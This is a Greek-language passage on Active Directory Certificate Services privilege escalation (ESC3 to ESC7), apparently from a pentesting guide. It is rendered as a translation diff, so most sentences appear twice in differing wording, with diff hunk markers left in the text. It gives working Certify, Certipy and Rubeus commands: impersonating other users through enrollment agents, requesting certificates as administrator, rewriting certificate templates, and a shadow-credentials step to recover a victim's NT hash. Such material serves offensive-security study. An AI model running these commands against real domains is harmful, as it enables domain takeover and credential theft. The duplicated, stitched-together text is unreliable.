Ο **"πράκτορας εγγραφής"** εγγράφεται σε ένα τέτοιο **πρότυπο** και χρησιμοποιεί το παραγόμενο **πιστοποιητικό για συνυπογραφή ενός CSR εκ μέρους του άλλου χρήστη**. Στη συνέχεια, **αποστέλλει** το **συνυπογεγραμμένο CSR** στον CA, εγγράφοντας σε ένα **πρότυπο** που επιτρέπει την "εγγραφή εκ μέρους", και ο CA απαντά με ένα **πιστοποιητικό που ανήκει στον "άλλο" χρήστη**.
Ο **"πράκτορας εγγραφής"** εγγράφεται σε ένα τέτοιο **πρότυπο** και χρησιμοποιεί το αποτέλεσμα **πιστοποιητικό για συνυπογραφή ενός CSR εκ μέρους του άλλου χρήστη**. Στη συνέχεια **στέλνει** το **συνυπογεγραμμένο CSR** στον CA, εγγράφοντας σε ένα **πρότυπο** που επιτρέπει την "εγγραφή εκ μέρους", και ο CA απαντά με ένα **πιστοποιητικό που ανήκει στον "άλλο" χρήστη**.
**Απαιτήσεις 1:**
- Τα δικαιώματα εγγραφής παρέχονται σε χρήστες με χαμηλά προνόμια από το Enterprise CA.
- Παραλείπεται η απαίτηση για έγκριση από τον διευθυντή.
- Δεν υπάρχει απαίτηση για εξουσιοδοτημένες υπογραφές.
- Ο ασφαλείας περιγραφέας του προτύπου πιστοποιητικού είναι υπερβολικά επιτρεπτικός, παρέχοντας δικαιώματα εγγραφής σε χρήστες με χαμηλά προνόμια.
- Το πρότυπο πιστοποιητικού περιλαμβάνει το EKU του Πιστοποιητικού Πράκτορα Αίτησης, επιτρέποντας την αίτηση άλλων προτύπων πιστοποιητικών εκ μέρους άλλων αρχηγών.
* Τα δικαιώματα εγγραφής χορηγούνται σε χρήστες με χαμηλά προνόμια από το Enterprise CA.
* Η απαίτηση για έγκριση διευθυντή παραλείπεται.
* Δεν υπάρχει απαίτηση για εξουσιοδοτημένες υπογραφές.
* Ο περιγραφέας ασφαλείας του προτύπου πιστοποιητικού είναι υπερβολικά επιεικής, χορηγώντας δικαιώματα εγγραφής σε χρήστες με χαμηλά προνόμια.
* Το πρότυπο πιστοποιητικού περιλαμβάνει το EKU του Πράκτορα Αίτησης Πιστοποίησης, επιτρέποντας την αίτηση άλλων προτύπων πιστοποιητικών εκ μέρους άλλων αρχετύπων.
**Απαιτήσεις 2:**
- Το Enterprise CA παρέχει δικαιώματα εγγραφής σε χρήστες με χαμηλά προνόμια.
- Παρακάμπτεται η έγκριση από τον διευθυντή.
- Η έκδοση του σχήματος του προτύπου είναι είτε 1 είτε υπερβαίνει το 2, και καθορίζει μια απαίτηση έκδοσης Πολιτικής Εφαρμογής που απαιτεί το EKU του Πιστοποιητικού Πράκτορα Αίτησης.
- Ένα EKU που ορίζεται στο πρότυπο πιστοποιητικού επιτρέπει την πιστοποίηση του τομέα.
- Δεν εφαρμόζονται περιορισμοί για τους πράκτορες εγγραφής στον CA.
* Το Enterprise CA χορηγεί δικαιώματα εγγραφής σε χρήστες με χαμηλά προνόμια.
* Η έγκριση διευθυντή παρακάμπτεται.
* Η έκδοση σχήματος του προτύπου είναι είτε 1 είτε υπερβαίνει το 2, και καθορίζει μια Απαίτηση Έκδοσης Πολιτικής Εφαρμογής που απαιτεί το EKU του Πράκτορα Αίτησης Πιστοποίησης.
* Ένα EKU που ορίζεται στο πρότυπο πιστοποιητικού επιτρέπει την ταυτοποίηση τομέα.
* Δεν εφαρμόζονται περιορισμοί για τους πράκτορες εγγραφής στον CA.
### Κατάχρηση
Μπορείτε να χρησιμοποιήσετε το [**Certify**](https://github.com/GhostPack/Certify) ή το [**Certipy**](https://github.com/ly4k/Certipy) για να καταχραστείτε αυτό το σενάριο:
Μπορείτε να χρησιμοποιήσετε το [**Certify**](https://github.com/GhostPack/Certify) ή το [**Certipy**](https://github.com/ly4k/Certipy) για να καταχρηστείτε αυτό το σενάριο:
```bash
# Request an enrollment agent certificate
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent
@ -129,39 +134,39 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
```
Οι **χρήστες** που επιτρέπεται να **λάβουν** ένα πιστοποιητικό **πράκτορα εγγραφής**, οι πρότυποι στους οποίους οι πράκτορες εγγραφής επιτρέπεται να εγγραφούν και οι **λογαριασμοί** για τους οποίους ο πράκτορας εγγραφής μπορεί να ενεργήσει μπορούν να περιοριστούν από τους επιχειρησιακούς ΑΠ. Αυτό επιτυγχάνεται ανοίγοντας το `certsrc.msc` **snap-in**, **δεξί κλικ στον ΑΠ**, **κλικ στις Ιδιότητες** και στη συνέχεια **πλοηγούμενοι** στην καρτέλα "Πράκτορες εγγραφής".
Οι **χρήστες** που επιτρέπεται να **λάβουν** ένα **πιστοποιητικό πράκτορα εγγραφής**, οι πρότυποι στους οποίους οι πράκτορες εγγραφής επιτρέπεται να εγγραφούν και οι **λογαριασμοί** για τους οποίους ο πράκτορας εγγραφής μπορεί να ενεργήσει μπορούν να περιοριστούν από τις επιχειρησιακές CA. Αυτό επιτυγχάνεται ανοίγοντας το `certsrc.msc` **snap-in**, **δεξί κλικ στην CA**, **κάνοντας κλικ στις ιδιότητες**, και στη συνέχεια **πλοήγηση** στην καρτέλα "Πράκτορες Εγγραφής".
Ωστόσο, παρατηρείται ότι η **προεπιλεγμένη** ρύθμιση για τους ΑΠ είναι "Μην περιορίζετε τους πράκτορες εγγραφής". Όταν οι διαχειριστές ενεργοποιούν τον περιορισμό στους πράκτορες εγγραφής, ορίζοντάς τον σε "Περιορισμός πρακτόρων εγγραφής", η προεπιλεγμένη διαμόρφωση παραμένει ακραία επιεικής. Επιτρέπει σε **Ολους** την πρόσβαση για εγγραφή σε όλα τα πρότυπα ως οποιονδήποτε.
Ωστόσο, σημειώνεται ότι η **προεπιλεγμένη** ρύθμιση για τις CA είναι "Να μην περιορίζονται οι πράκτορες εγγραφής." Όταν οι διαχειριστές ενεργοποιούν τον περιορισμό στους πράκτορες εγγραφής, ρυθμίζοντάς τον σε "Περιορισμός πρακτόρων εγγραφής," η προεπιλεγμένη ρύθμιση παραμένει εξαιρετικά επιεικής. Επιτρέπει σε **Όλους** την πρόσβαση για εγγραφή σε όλους τους προτύπους ως οποιονδήποτε.
## Ευάλωτος Έλεγχος Πρόσβασης Προτύπων Πιστοποιητικών - ESC4
### **Εξήγηση**
Ο **περιγραφέας ασφαλείας** στα **πρότυπα πιστοποιητικών** καθορίζει τα **δικαιώματα** που έχουν συγκεκριμένοι **κύριοι AD** σχετικά με το πρότυπο.
Το **αποκριτήριο ασφαλείας** στα **πρότυπα πιστοποιητικών** καθορίζει τα **δικαιώματα** που κατέχουν συγκεκριμένοι **κύριοι AD** σχετικά με το πρότυπο.
Αν ένας **επιτιθέμενος** έχει τα απαιτούμενα **δικαιώματα** για να **τροποποιήσει** ένα **πρότυπο** και να **εφαρμόσει** οποιεσδήποτε **ευπάθειες που μπορούν να εκμεταλλευτούν** που περιγράφονται στις **προηγούμενες ενότητες**, μπορεί να διευκολυνθεί η ανέλιξη προνομιακών δικαιωμάτων.
Αν ένας **εισβολέας** διαθέτει τα απαιτούμενα **δικαιώματα** για να **τροποποιήσει** ένα **πρότυπο** και να **εφαρμόσει** οποιεσδήποτε **εκμεταλλεύσιμες λανθάνουσες ρυθμίσεις** που περιγράφονται σε **προηγούμενες ενότητες**, μπορεί να διευκολυνθεί η ανόδος προνομίων.
Σημαντικά δικαιώματα που ισχύουν για τα πρότυπα πιστοποιητικών περιλαμβάνουν:
Σημαντικά δικαιώματα που εφαρμόζονται στα πρότυπα πιστοποιητικών περιλαμβάνουν:
- **Κάτοχος:** Παρέχει αυτόματο έλεγχο επί του αντικειμένου, επιτρέποντας την τροποποίηση οποιουδήποτε χαρακτηριστικού.
- **Πλήρης Έλεγχος:** Επιτρέπει πλήρη εξουσία επί του αντικειμένου, συμπεριλαμβανομένης της δυνατότητας τροποποίησης οποιουδήποτε χαρακτηριστικού.
- **ΕγγραφήΚάτοχου:** Επιτρέπει την τροποποίηση του κατόχου του αντικειμένου σε έναν κύριο που ελέγχεται από τον επιτιθέμενο.
- **ΕγγραφήDacl:** Επιτρέπει την προσαρμογή των ελέγχων πρόσβασης, πιθανώς παρέχοντας στον επιτιθέμενο πλήρη έλεγχο.
- **ΕγγραφήΙδιοκτησίας:** Εξουσιοδοτεί την επεξεργασία οποιουδήποτε χαρακτηριστικού του αντικειμένου.
* **Κάτοχος:** Χορηγεί αυτόματο έλεγχο επί του αντικειμένου, επιτρέποντας την τροποποίηση οποιωνδήποτε χαρακτηριστικών.
* **Πλήρης Έλεγχος:** Επιτρέπει πλήρη εξουσία επί του αντικειμένου, συμπεριλαμβανομένης της δυνατότητας τροποποίησης οποιωνδήποτε χαρακτηριστικών.
* **ΕγγραφήΚάτοχος:** Επιτρέπει την τροποποίηση του κατόχου του αντικειμένου σε έναν κύριο υπό τον έλεγχο του εισβολέα.
* **ΕγγραφήDacl:** Επιτρέπει τη ρύθμιση των ελέγχων πρόσβασης, πιθανώς χορηγώντας σε έναν εισβολέα Πλήρη Έλεγχο.
* **ΕγγραφήΙδιοκτησία:** Εξουσιοδοτεί την επεξεργασία οποιωνδήποτε ιδιοτήτων αντικειμένου.
### Κατάχρηση
Ένα παράδειγμα εκμετάλλευσης όπως το προηγούμενο:
Ένα παράδειγμα προηγούμενης ανόδου προνομίων όπως το προηγούμενο:
<figure><img src="../../../.gitbook/assets/image (15) (2).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (811).png" alt=""><figcaption></figcaption></figure>
Το ESC4 είναι όταν ένας χρήστης έχει δικαιώματα εγγραφής σε ένα πρότυπο πιστοποιητικού. Αυτό μπορεί για παράδειγμα να εκμεταλλευτείται για να αντικαταστήσει τη διαμόρφωση του προτύπου πιστοποιητικού και να το καταστήσει ευάλωτο για το ESC1.
Το ESC4 είναι όταν ένας χρήστης έχει δικαιώματα εγγραφής σε ένα πρότυπο πιστοποιητικού. Αυτό μπορεί για παράδειγμα να καταχραστεί για να αντικαταστήσει τη διαμόρφωση του προτύπου πιστοποιητικού ώστε να γίνει ευάλωτο για το ESC1.
Όπως βλέπουμε στην παραπάνω διαδρομή, μόνο ο `JOHNPC` έχει αυτά τα δικαιώματα, αλλά ο χρήστης μας `JOHN` έχει τη νέα σύνδεση `AddKeyCredentialLink` με το `JOHNPC`. Καθώς αυτή η τεχνική σχετίζεται με πιστοποιητικά, έχω εφαρμόσει αυτήν την επίθεση επίσης, γνωστή ως [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Εδώ έχετε μια μικρή προεπισκόπηση της εντολής `shadow auto` του Certipy για την ανάκτηση του NT hash του θύματος.
Όπως βλέπουμε στη διαδρομή παραπάνω, μόνο ο `JOHNPC` έχει αυτά τα δικαιώματα, αλλά ο χρήστης μας `JOHN` έχει το νέο όριο `AddKeyCredentialLink` στο `JOHNPC`. Καθώς αυτή η τεχνική σχετίζεται με πιστοποιητικά, έχω εφαρμόσει αυτήν την επίθεση επίσης, η οποία είναι γνωστή ως [Σκιώδεις Διαπιστεύσεις](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Εδώ ένα μικρό δείγμα της εντολής `shadow auto` του Certipy για την ανάκτηση του NT hash του θύματος.
```bash
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
```
Το **Certipy** μπορεί να αντικαταστήσει τη διαμόρφωση ενός προτύπου πιστοποιητικού με ένα μόνο πρόγραμμα. Από προεπιλογή, το Certipy θα αντικαταστήσει τη διαμόρφωση για να την καταστήσει ευάλωτη στο ESC1. Μπορούμε επίσης να καθορίσουμε την παράμετρο **`-save-old` για να αποθηκεύσουμε την παλιά διαμόρφωση**, η οποία θα είναι χρήσιμη για την **επαναφορά** της διαμόρφωσης μετά την επίθεσή μας.
**Certipy** μπορεί να αντικαταστήσει τη διαμόρφωση ενός προτύπου πιστοποιητικού με ένα μόνο πλήκτρο. Από προεπιλογή, το Certipy θα αντικαταστήσει τη διαμόρφωση για να την καταστήσει ευάλωτη στο ESC1. Μπορούμε επίσης να καθορίσουμε την παράμετρο `-save-old` για να αποθηκεύσουμε την παλιά διαμόρφωση, η οποία θα είναι χρήσιμη για την επαναφορά της διαμόρφωσης μετά την επίθεσή μας.
```bash
# Make template vuln to ESC1
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
@ -176,33 +181,33 @@ certipy template -username john@corp.local -password Passw0rd -template ESC4-Tes
### Εξήγηση
Ο εκτενής ιστός των συνδεδεμένων σχέσεων βασισμένων σε ACL, που περιλαμβάνει αρκετά αντικείμενα πέρα ​​από τα πρότυπα πιστοποιητικών και την αρχή πιστοποίησης, μπορεί να επηρεάσει την ασφάλεια ολόκληρου του συστήματος AD CS. Αυτά τα αντικείμενα, τα οποία μπορούν να επηρεάσουν σημαντικά την ασφάλεια, περιλαμβάνουν:
Το εκτεταμένο δίκτυο των διασυνδεδεμένων σχέσεων βασισμένων σε ACL, το οποίο περιλαμβάνει αρκετά αντικείμενα πέρα ​​από τα πρότυπα πιστοποιητικών και την αρχή πιστοποίησης, μπορεί να επηρεάσει την ασφάλεια ολόκληρου του συστήματος AD CS. Αυτά τα αντικείμενα, τα οποία μπορούν να επηρεάσουν σημαντικά την ασφάλεια, περιλαμβάνουν:
* Το αντικείμενο υπολογιστή AD του διακομιστή CA, το οποίο μπορεί να διαταραχθεί μέσω μηχανισμών όπως το S4U2Self ή το S4U2Proxy.
* Το αντικείμενο υπολογιστή AD του διακομιστή CA, το οποίο ενδέχεται να διαρρεύσει μέσω μηχανισμών όπως το S4U2Self ή το S4U2Proxy.
* Ο διακομιστής RPC/DCOM του διακομιστή CA.
* Οποιοδήποτε απόγονο αντικείμενο ή δοχείο AD εντός της συγκεκριμένης διαδρομής δοχείου `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. Αυτή η διαδρομή περιλαμβάνει, αλλά δεν περιορίζεται σε, δοχεία και αντικείμενα όπως το δοχείο Πρότυπα Πιστοποιητικών, το δοχείο Αρχές Πιστοποίησης, το αντικείμενο NTAuthCertificates και το δοχείο Υπηρεσίες Εγγραφής.
* Οποιοδήποτε κατώτερο αντικείμενο ή δοχείο AD εντός της συγκεκριμένης διαδρομής δοχείου `CN=Δημόσιες Υπηρεσίες Κλειδιών,CN=Υπηρεσίες,CN=Διαμόρφωση,DC=<DOMAIN>,DC=<COM>`. Αυτή η διαδρομή περιλαμβάνει, αλλά δεν περιορίζεται σε, δοχεία και αντικείμενα όπως το δοχείο Πρότυπα Πιστοποιητικών, το δοχείο Αρχές Πιστοποίησης, το αντικείμενο NTAuthCertificates και το Δοχείο Υπηρεσιών Εγγραφής.
Η ασφάλεια του συστήματος PKI μπορεί να διαταραχθεί εάν ένας επιτιθέμενος με χαμηλά προνόμια καταφέρει να αποκτήσει έλεγχο επί οποιουδήποτε από αυτά τα κρίσιμα στοιχεία.
Η ασφάλεια του συστήματος PKI μπορεί να διακυβευτεί εάν ένας χρήστης με χαμηλά προνόμια καταφέρει να αναλάβει τον έλεγχο επί οποιουδήποτε από αυτά τα κρίσιμα στοιχεία.
## EDITF\_ATTRIBUTESUBJECTALTNAME2 - ESC6
### Εξήγηση
Το θέμα που συζητήθηκε στην ανάρτηση του [**CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage) αναφέρεται επίσης στις επιπτώσεις της σημαίας **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, όπως περιγράφεται από τη Microsoft. Αυτή η ρύθμιση, όταν ενεργοποιείται σε έναν Αρχή Πιστοποίησης (CA), επιτρέπει την περίληψη **τιμών που καθορίζονται από τον χρήστη** στο **εναλλακτικό όνομα υποκειμένου** για **οποιοδήποτε αίτημα**, συμπεριλαμβανομένων αυτών που δημιουργούνται από το Active Directory®. Ως αποτέλεσμα, αυτή η παροχή επιτρέπει σε έναν **εισβολέα** να εγγραφεί μέσω **οποιουδήποτε προτύπου** που έχει ρυθμιστεί για την **πιστοποίηση τομέα** - ειδικά αυτών που είναι ανοικτά για την εγγραφή χρηστών με **χαμηλά προνόμια**, όπως το πρότυπο Χρήστη. Ως αποτέλεσμα, μπορεί να αποκτηθεί ένα πιστοποιητικό, επιτρέποντας στον εισβολέα να πιστοποιηθεί ως διαχειριστής του τομέα ή **οποιοδήποτε άλλο ενεργό στοιχείο** εντός του τομέα.
Το θέμα που συζητήθηκε στην [**ανάρτηση της CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage) αναφέρεται επίσης στις επιπτώσεις της σημαίας **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, όπως περιγράφεται από τη Microsoft. Αυτή η ρύθμιση, όταν ενεργοποιηθεί σε μια Αρχή Πιστοποίησης (CA), επιτρέπει τη συμπερίληψη **τιμών που ορίζονται από τον χρήστη** στο **εναλλακτικό όνομα υποκείμενου** για **οποιοδήποτε αίτημα**, συμπεριλαμβανομένων αυτών που δημιουργούνται από το Active Directory®. Ως εκ τούτου, αυτή η πρόνοια επιτρέπει σε έναν **εισβολέα** να εγγραφεί μέσω **οποιουδήποτε προτύπου** που έχει οριστεί για την πιστοποίηση τομέα—ειδικότερα αυτών που είναι ανοικτά για την εγγραφή χρηστών με **χαμηλά προνόμια**, όπως το τυπικό πρότυπο Χρήστη. Ως αποτέλεσμα, μπορεί να ασφαλιστεί ένα πιστοποιητικό, επιτρέποντας στον εισβολέα να πιστοποιηθεί ως διαχειριστής τομέα ή **οποιοδήποτε άλλο ενεργό οντότητα** εντός του τομέα.
**Σημείωση**: Η προσέγγιση για την προσάρτηση **εναλλακτικών ονομάτων** σε ένα αίτημα υπογραφής πιστοποιητικού (CSR), μέσω του ορίσματος `-attrib "SAN:"` στο `certreq.exe` (αναφέρεται ως "Ζεύγη Ονομάτων Τιμών"), παρουσιάζει μια **αντίθεση** από τη στρατηγική εκμετάλλευσης των SANs στο ESC1. Εδώ, η διαφορά έγκειται στον τρόπο που οι πληροφορίες λογαριασμού ενθυλακώνονται - εντός ενός χαρακτηριστικού πιστοποιητικού, αντί για μια επέκταση.
**Σημείωση**: Η διαδικασία για την προσάρτηση **εναλλακτικών ονομάτων** σε ένα αίτημα υπογραφής πιστοποιητικού (CSR), μέσω του ορίσματος `-attrib "SAN:"` στο `certreq.exe` (αναφέρεται ως "Ζεύγη Ονομάτων"), παρουσιάζει μια **αντίθεση** από τη στρατηγική εκμετάλλευσης των SANs στο ESC1. Εδώ, η διαφορά βρίσκεται στον τρόπο που η πληροφορία λογαριασμού ενθυλακώνεται—εντός ενός χαρακτηριστικού πιστοποιητικού, αντί για μια επέκταση.
### Κατάχρηση
Για να επαληθεύσουν εάν η ρύθμιση είναι ενεργοποιημένη, οι οργανισμοί μπορούν να χρησιμοποιήσουν την παρακάτω εντολή με το `certutil.exe`:
Για να επαληθεύσουν εάν η ρύθμιση είναι ενεργοποιημένη, οι οργανισμοί μπορούν να χρησιμοποιήσουν την ακόλουθη εντολή με το `certutil.exe`:
```bash
certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
```
Αυτή η λειτουργία χρησιμοποιεί ουσιαστικά **απομακρυσμένη πρόσβαση στην καταχώρηση του μητρώου**, επομένως, μια εναλλακτική προσέγγιση μπορεί να είναι:
Αυτή η λειτουργία χρησιμοποιεί ουσιαστικά **απομακρυσμένη πρόσβαση στο μητρώο**, συνεπώς, μια εναλλακτική προσέγγιση θα μπορούσε να είναι:
```bash
reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
```
Εργαλεία όπως το [**Certify**](https://github.com/GhostPack/Certify) και το [**Certipy**](https://github.com/ly4k/Certipy) είναι ικανά να ανιχνεύσουν αυτήν την εσφαλμένη διαμόρφωση και να την εκμεταλλευτούν:
Εργαλεία όπως το [**Certify**](https://github.com/GhostPack/Certify) και το [**Certipy**](https://github.com/ly4k/Certipy) είναι ικανά να ανιχνεύσουν αυτήν την κακή ρύθμιση και να την εκμεταλλευτούν:
```bash
# Detect vulnerabilities, including this one
Certify.exe find
@ -211,17 +216,17 @@ Certify.exe find
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
```
Για να αλλάξετε αυτές τις ρυθμίσεις, υποθέτοντας ότι έχετε δικαιώματα **διαχειριστή του τομέα** ή ισοδύναμα, μπορείτε να εκτελέσετε την παρακάτω εντολή από οποιοδήποτε υπολογιστή εργασίας:
Για να τροποποιήσετε αυτές τις ρυθμίσεις, υποθέτοντας ότι κάποιος διαθέτει **διαχειριστικά δικαιώματα τομέα** ή ισοδύναμα, μπορεί να εκτελεστεί η παρακάτω εντολή από οποιονδήποτε υπολογιστή:
```bash
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
```
Για να απενεργοποιήσετε αυτήν τη διαμόρφωση στο περιβάλλον σας, η σημαία μπορεί να αφαιρεθεί με:
Για να απενεργοποιήσετε αυτή τη διαμόρφωση στο περιβάλλον σας, η σημαία μπορεί να αφαιρεθεί με:
```bash
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
```
{% hint style="warning" %}
Μετά τις ενημερώσεις ασφαλείας του Μαΐου 2022, τα νεοεκδοθέντα **πιστοποιητικά** θα περιέχουν μια **επέκταση ασφαλείας** που ενσωματώνει την ιδιότητα `objectSid` του αιτούντος. Για το ESC1, αυτό το SID προέρχεται από το καθορισμένο SAN. Ωστόσο, για το **ESC6**, το SID αντικατοπτρίζει το `objectSid` του αιτούντος, όχι το SAN.\
Για να εκμεταλλευτείτε το ESC6, είναι απαραίτητο το σύστημα να είναι ευάλωτο στο ESC10 (Αδύναμη αντιστοίχιση πιστοποιητικού), το οποίο δίνει προτεραιότητα στο SAN έναντι της νέας επέκτασης ασφαλείας.
Μετά τις ενημερώσεις ασφαλείας του Μαΐου 2022, τα νεοεκδοθέντα **πιστοποιητικά** θα περιέχουν μια **επέκταση ασφαλείας** που ενσωματώνει την **ιδιότητα `objectSid` του αιτούντα**. Για το ESC1, αυτό το SID προέρχεται από το συγκεκριμένο SAN. Ωστόσο, για το **ESC6**, το SID αντικατοπτρίζει το **`objectSid` του αιτούντα**, όχι το SAN.\
Για να εκμεταλλευτείτε το ESC6, είναι απαραίτητο το σύστημα να είναι ευάλωτο στο ESC10 (Αδύναμες Αντιστοιχίσεις Πιστοποιητικών), το οποίο δίνει προτεραιότητα στο **SAN πάνω από τη νέα επέκταση ασφαλείας**.
{% endhint %}
## Ευάλωτος Έλεγχος Πρόσβασης Αρχής Πιστοποίησης - ESC7
@ -230,21 +235,21 @@ certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJ
#### Εξήγηση
Ο έλεγχος πρόσβασης για μια αρχή πιστοποίησης διατηρείται μέσω ενός συνόλου δικαιωμάτων που διέπουν τις ενέργειες της ΑΠ. Αυτά τα δικαιώματα μπορούν να προβληθούν αποκτώντας πρόσβαση στο `certsrv.msc`, κάνοντας δεξί κλικ σε μια ΑΠ, επιλέγοντας ιδιότητες και στη συνέχεια πλοηγούμενοι στην καρτέλα Ασφάλεια. Επιπλέον, τα δικαιώματα μπορούν να απαριθμηθούν χρησιμοποιώντας το πρόσθετο PSPKI με εντολές όπως:
Ο έλεγχος πρόσβασης για μια αρχή πιστοποίησης διατηρείται μέσω ενός συνόλου δικαιωμάτων που ελέγχουν τις ενέργειες της CA. Αυτά τα δικαιώματα μπορούν να προβληθούν από την πρόσβαση στο `certsrv.msc`, δεξί κλικ σε μια CA, επιλογή ιδιοτήτων και στη συνέχεια πλοήγηση στην καρτέλα Ασφάλειας. Επιπλέον, τα δικαιώματα μπορούν να απαριθμηθούν χρησιμοποιώντας το module PSPKI με εντολές όπως:
```bash
Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
```
Αυτό παρέχει εισαγωγή στα κύρια δικαιώματα, δηλαδή τα **`ManageCA`** και **`ManageCertificates`**, που συσχετίζονται με τους ρόλους του "διαχειριστή της αρχής πιστοποίησης" και του "διαχειριστή πιστοποιητικών" αντίστοιχα.
Αυτό παρέχει εισαγωγή στα κύρια δικαιώματα, δηλαδή τα **`ManageCA`** και **`ManageCertificates`**, που σχετίζονται με τους ρόλους "διαχειριστής CA" και "Διαχειριστής Πιστοποιητικών" αντίστοιχα.
#### Κατάχρηση
Έχοντας τα δικαιώματα **`ManageCA`** σε μια αρχή πιστοποίησης, ο χρήστης μπορεί να παρεμβάλει ρυθμίσεις απομακρυσμένα χρησιμοποιώντας το PSPKI. Αυτό περιλαμβάνει την εναλλαγή της σημαίας **`EDITF_ATTRIBUTESUBJECTALTNAME2`** για να επιτραπεί η καθορισμός του SAN σε οποιοδήποτε πρότυπο, ένα κρίσιμο στοιχείο για την ανέλιξη του τομέα.
Έχοντας δικαιώματα **`ManageCA`** σε έναν αρμόδιο για πιστοποιητικά, ο υποκείμενος μπορεί να ρυθμίσει απομακρυσμένα τις ρυθμίσεις χρησιμοποιώντας το PSPKI. Αυτό περιλαμβάνει την εναλλαγή της σημαίας **`EDITF_ATTRIBUTESUBJECTALTNAME2`** για να επιτραπεί η προδιαγραφή SAN σε οποιοδήποτε πρότυπο, ένα κρίσιμο στοιχείο της ανόδου στον τομέα.
Η απλοποίηση αυτής της διαδικασίας είναι εφικτή μέσω της χρήσης της εντολής **Enable-PolicyModuleFlag** του PSPKI, επιτρέποντας τροποποιήσεις χωρίς άμεση αλληλεπίδραση με το γραφικό περιβάλλον.
Η απλοποίηση αυτής της διαδικασίας είναι εφικτή μέσω της χρήσης του εργαλείου **Enable-PolicyModuleFlag** του PSPKI, επιτρέποντας τροποποιήσεις χωρίς άμεση διεπαφή GUI.
Η κατοχή των δικαιωμάτων **`ManageCertificates`** διευκολύνει την έγκριση εκκρεμών αιτημάτων, παρακάμπτοντας αποτελεσματικά την προστασία "έγκριση από τον διαχειριστή πιστοποιητικών της αρχής πιστοποίησης".
Η κατοχή δικαιωμάτων **`ManageCertificates`** διευκολύνει την έγκριση εκκρεμών αιτημάτων, παρακάμπτοντας αποτελεσματικά την προστασία "έγκρισης διαχειριστή πιστοποιητικού CA".
Μια συνδυασμένη χρήση των ενοτήτων **Certify** και **PSPKI** μπορεί να χρησιμοποιηθεί για να ζητηθεί, εγκριθεί και κατεβαστεί ένα πιστοποιητικό:
Μια συνδυασμένη χρήση των ενοτήτων **Certify** και **PSPKI** μπορεί να χρησιμοποιηθεί για το αίτημα, την έγκριση και τον λήψη ενός πιστοποιητικού:
```powershell
# Request a certificate that will require an approval
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
@ -265,29 +270,29 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
#### Εξήγηση
{% hint style="warning" %}
Στην **προηγούμενη επίθεση** χρησιμοποιήθηκαν οι δικαιώματα **`Manage CA`** για να ενεργοποιηθεί η σημαία **EDITF\_ATTRIBUTESUBJECTALTNAME2** και να πραγματοποιηθεί η επίθεση **ESC6**, αλλά αυτό δεν θα έχει κανένα αποτέλεσμα μέχρι να επανεκκινηθεί η υπηρεσία του CA (`CertSvc`). Όταν ένας χρήστης έχει το δικαίωμα `Manage CA`, του επιτρέπεται επίσης να **επανεκκινήσει την υπηρεσία**. Ωστόσο, αυτό **δεν σημαίνει ότι ο χρήστης μπορεί να επανεκκινήσει την υπηρεσία απομακρυσμένα**. Επιπλέον, η επίθεση **ESC6 μπορεί να μην λειτουργήσει απευθείας** σε περισσότερα περιβάλλοντα που έχουν ενημερωθεί με τις ενημερώσεις ασφαλείας του Μαΐου 2022.
Στην **προηγούμενη επίθεση** χρησιμοποιήθηκαν οι άδειες **`Manage CA`** για να ενεργοποιηθεί η σημαία **EDITF\_ATTRIBUTESUBJECTALTNAME2** για την εκτέλεση της επίθεσης **ESC6**, αλλά αυτό δεν θα έχει κανένα αποτέλεσμα μέχρι να επανεκκινηθεί η υπηρεσία CA (`CertSvc`). Όταν ένας χρήστης έχει το δικαίωμα πρόσβασης `Manage CA`, του επιτρέπεται επίσης να **επανεκκινήσει την υπηρεσία**. Ωστόσο, αυτό **δεν σημαίνει ότι ο χρήστης μπορεί να επανεκκινήσει την υπηρεσία απομακρυσμένα**. Επιπλέον, η **ESC6 ενδέχεται να μην λειτουργήσει απευθείας** σε περισσότερα περιβάλλοντα που έχουν εφαρμοστεί ενημερώσεις ασφαλείας τον Μάιο του 2022.
{% endhint %}
Επομένως, παρουσιάζεται εδώ μια άλλη επίθεση.
Συνεπώς, παρουσιάζεται εδώ μια άλλη επίθεση.
Προϋποθέσεις:
* Μόνο το δικαίωμα **`ManageCA`**
* Δικαίωμα **`Manage Certificates`** (μπορεί να χορηγηθεί από το **`ManageCA`**)
* Μόνο άδεια **`ManageCA`**
* Άδεια **`Manage Certificates`** (μπορεί να χορηγηθεί από το **`ManageCA`**)
* Το πρότυπο πιστοποιητικού **`SubCA`** πρέπει να είναι **ενεργοποιημένο** (μπορεί να ενεργοποιηθεί από το **`ManageCA`**)
